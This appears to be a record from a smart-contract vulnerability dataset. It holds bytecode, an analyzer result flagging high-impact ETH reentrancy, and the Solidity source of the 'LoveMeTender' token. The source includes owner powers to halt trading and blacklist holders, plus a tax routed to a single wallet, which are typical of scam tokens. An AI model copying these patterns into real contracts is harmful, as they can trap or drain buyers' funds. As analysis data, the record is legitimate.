604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122031dbda89c9bfcab87d68fb9b9587d99fe3cf89afc26ec2e6895d8be1563184f964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
259
0xb3ceeaf42676ba4c7a54235be5fa0047c93ca166
/** Telegram: https://t.me/LoveMeTenderERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LoveMeTender is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "LoveMeTender"; string private constant _symbol = "LoveMeTender"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 7; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x25cFeAe7B7529519AE0a508A088Db1e415e4711f); address payable private _marketingAddress = payable(0x25cFeAe7B7529519AE0a508A088Db1e415e4711f); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101ba5760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146104d1578063dd62ed3e146104f1578063ea1644d514610537578063f2fde38b1461055757600080fd5b8063a9059cbb1461046c578063bfd792841461048c578063c3c8cd80146104bc57600080fd5b80638f70ccf7116100c65780638f70ccf7146104165780638f9a55c01461043657806395d89b41146101e857806398a5c3151461044c57600080fd5b80637d1db4a5146103b55780637f2feddc146103cb5780638da5cb5b146103f857600080fd5b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f81461034b5780636fc3eaec1461036b57806370a0823114610380578063715018a6146103a057600080fd5b8063313ce567146102ef57806349bd5a5e1461030b5780636b9990531461032b57600080fd5b80631694505e116101955780631694505e1461025c57806318160ddd1461029457806323b872dd146102b95780632fd689e3146102d957600080fd5b8062b8cf2a146101c657806306fdde03146101e8578063095ea7b31461022c57600080fd5b366101c157005b600080fd5b3480156101d257600080fd5b506101e66101e136600461186e565b610577565b005b3480156101f457600080fd5b50604080518082018252600c81526b2637bb32a6b2aa32b73232b960a11b602082015290516102239190611933565b60405180910390f35b34801561023857600080fd5b5061024c610247366004611988565b610616565b6040519015158152602001610223565b34801561026857600080fd5b5060145461027c906001600160a01b031681565b6040516001600160a01b039091168152602001610223565b3480156102a057600080fd5b50670de0b6b3a76400005b604051908152602001610223565b3480156102c557600080fd5b5061024c6102d43660046119b4565b61062d565b3480156102e557600080fd5b506102ab60185481565b3480156102fb57600080fd5b5060405160098152602001610223565b34801561031757600080fd5b5060155461027c906001600160a01b031681565b34801561033757600080fd5b506101e66103463660046119f5565b610696565b34801561035757600080fd5b506101e6610366366004611a22565b6106e1565b34801561037757600080fd5b506101e6610729565b34801561038c57600080fd5b506102ab61039b3660046119f5565b610774565b3480156103ac57600080fd5b506101e6610796565b3480156103c157600080fd5b506102ab60165481565b3480156103d757600080fd5b506102ab6103e63660046119f5565b60116020526000908152604090205481565b34801561040457600080fd5b506000546001600160a01b031661027c565b34801561042257600080fd5b506101e6610431366004611a22565b61080a565b34801561044257600080fd5b506102ab60175481565b34801561045857600080fd5b506101e6610467366004611a3d565b610852565b34801561047857600080fd5b5061024c610487366004611988565b610881565b34801561049857600080fd5b5061024c6104a73660046119f5565b60106020526000908152604090205460ff1681565b3480156104c857600080fd5b506101e661088e565b3480156104dd57600080fd5b506101e66104ec366004611a56565b6108e2565b3480156104fd57600080fd5b506102ab61050c366004611ada565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054357600080fd5b506101e6610552366004611a3d565b610983565b34801561056357600080fd5b506101e66105723660046119f5565b6109b2565b6000546001600160a01b031633146105aa5760405162461bcd60e51b81526004016105a190611b13565b60405180910390fd5b60005b8151811015610612576001601060008484815181106105ce576105ce611b48565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060a81611b74565b9150506105ad565b5050565b6000610623338484610a9c565b5060015b92915050565b600061063a848484610bc0565b61068c843361068785604051806060016040528060288152602001611c8e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110fc565b610a9c565b5060019392505050565b6000546001600160a01b031633146106c05760405162461bcd60e51b81526004016105a190611b13565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461070b5760405162461bcd60e51b81526004016105a190611b13565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061075e57506013546001600160a01b0316336001600160a01b0316145b61076757600080fd5b4761077181611136565b50565b6001600160a01b03811660009081526002602052604081205461062790611170565b6000546001600160a01b031633146107c05760405162461bcd60e51b81526004016105a190611b13565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108345760405162461bcd60e51b81526004016105a190611b13565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461087c5760405162461bcd60e51b81526004016105a190611b13565b601855565b6000610623338484610bc0565b6012546001600160a01b0316336001600160a01b031614806108c357506013546001600160a01b0316336001600160a01b0316145b6108cc57600080fd5b60006108d730610774565b9050610771816111f4565b6000546001600160a01b0316331461090c5760405162461bcd60e51b81526004016105a190611b13565b60005b8281101561097d57816005600086868581811061092e5761092e611b48565b905060200201602081019061094391906119f5565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061097581611b74565b91505061090f565b50505050565b6000546001600160a01b031633146109ad5760405162461bcd60e51b81526004016105a190611b13565b601755565b6000546001600160a01b031633146109dc5760405162461bcd60e51b81526004016105a190611b13565b6001600160a01b038116610a415760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610afe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a1565b6001600160a01b038216610b5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a1565b6001600160a01b038216610c865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a1565b60008111610ce85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a1565b6000546001600160a01b03848116911614801590610d1457506000546001600160a01b03838116911614155b15610ff557601554600160a01b900460ff16610dad576000546001600160a01b03848116911614610dad5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105a1565b601654811115610dff5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105a1565b6001600160a01b03831660009081526010602052604090205460ff16158015610e4157506001600160a01b03821660009081526010602052604090205460ff16155b610e995760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105a1565b6015546001600160a01b03838116911614610f1e5760175481610ebb84610774565b610ec59190611b8f565b10610f1e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105a1565b6000610f2930610774565b601854601654919250821015908210610f425760165491505b808015610f595750601554600160a81b900460ff16155b8015610f7357506015546001600160a01b03868116911614155b8015610f885750601554600160b01b900460ff165b8015610fad57506001600160a01b03851660009081526005602052604090205460ff16155b8015610fd257506001600160a01b03841660009081526005602052604090205460ff16155b15610ff257610fe0826111f4565b478015610ff057610ff047611136565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061103757506001600160a01b03831660009081526005602052604090205460ff165b8061106957506015546001600160a01b0385811691161480159061106957506015546001600160a01b03848116911614155b15611076575060006110f0565b6015546001600160a01b0385811691161480156110a157506014546001600160a01b03848116911614155b156110b357600854600c55600954600d555b6015546001600160a01b0384811691161480156110de57506014546001600160a01b03858116911614155b156110f057600a54600c55600b54600d555b61097d8484848461137d565b600081848411156111205760405162461bcd60e51b81526004016105a19190611933565b50600061112d8486611ba7565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610612573d6000803e3d6000fd5b60006006548211156111d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105a1565b60006111e16113ab565b90506111ed83826113ce565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061123c5761123c611b48565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561129057600080fd5b505afa1580156112a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c89190611bbe565b816001815181106112db576112db611b48565b6001600160a01b0392831660209182029290920101526014546113019130911684610a9c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061133a908590600090869030904290600401611bdb565b600060405180830381600087803b15801561135457600080fd5b505af1158015611368573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061138a5761138a611410565b61139584848461143e565b8061097d5761097d600e54600c55600f54600d55565b60008060006113b8611535565b90925090506113c782826113ce565b9250505090565b60006111ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611575565b600c541580156114205750600d54155b1561142757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611450876115a3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114829087611600565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114b19086611642565b6001600160a01b0389166000908152600260205260409020556114d3816116a1565b6114dd84836116eb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161152291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061155082826113ce565b82101561156c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836115965760405162461bcd60e51b81526004016105a19190611933565b50600061112d8486611c4c565b60008060008060008060008060006115c08a600c54600d5461170f565b92509250925060006115d06113ab565b905060008060006115e38e878787611764565b919e509c509a509598509396509194505050505091939550919395565b60006111ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110fc565b60008061164f8385611b8f565b9050838110156111ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a1565b60006116ab6113ab565b905060006116b983836117b4565b306000908152600260205260409020549091506116d69082611642565b30600090815260026020526040902055505050565b6006546116f89083611600565b6006556007546117089082611642565b6007555050565b6000808080611729606461172389896117b4565b90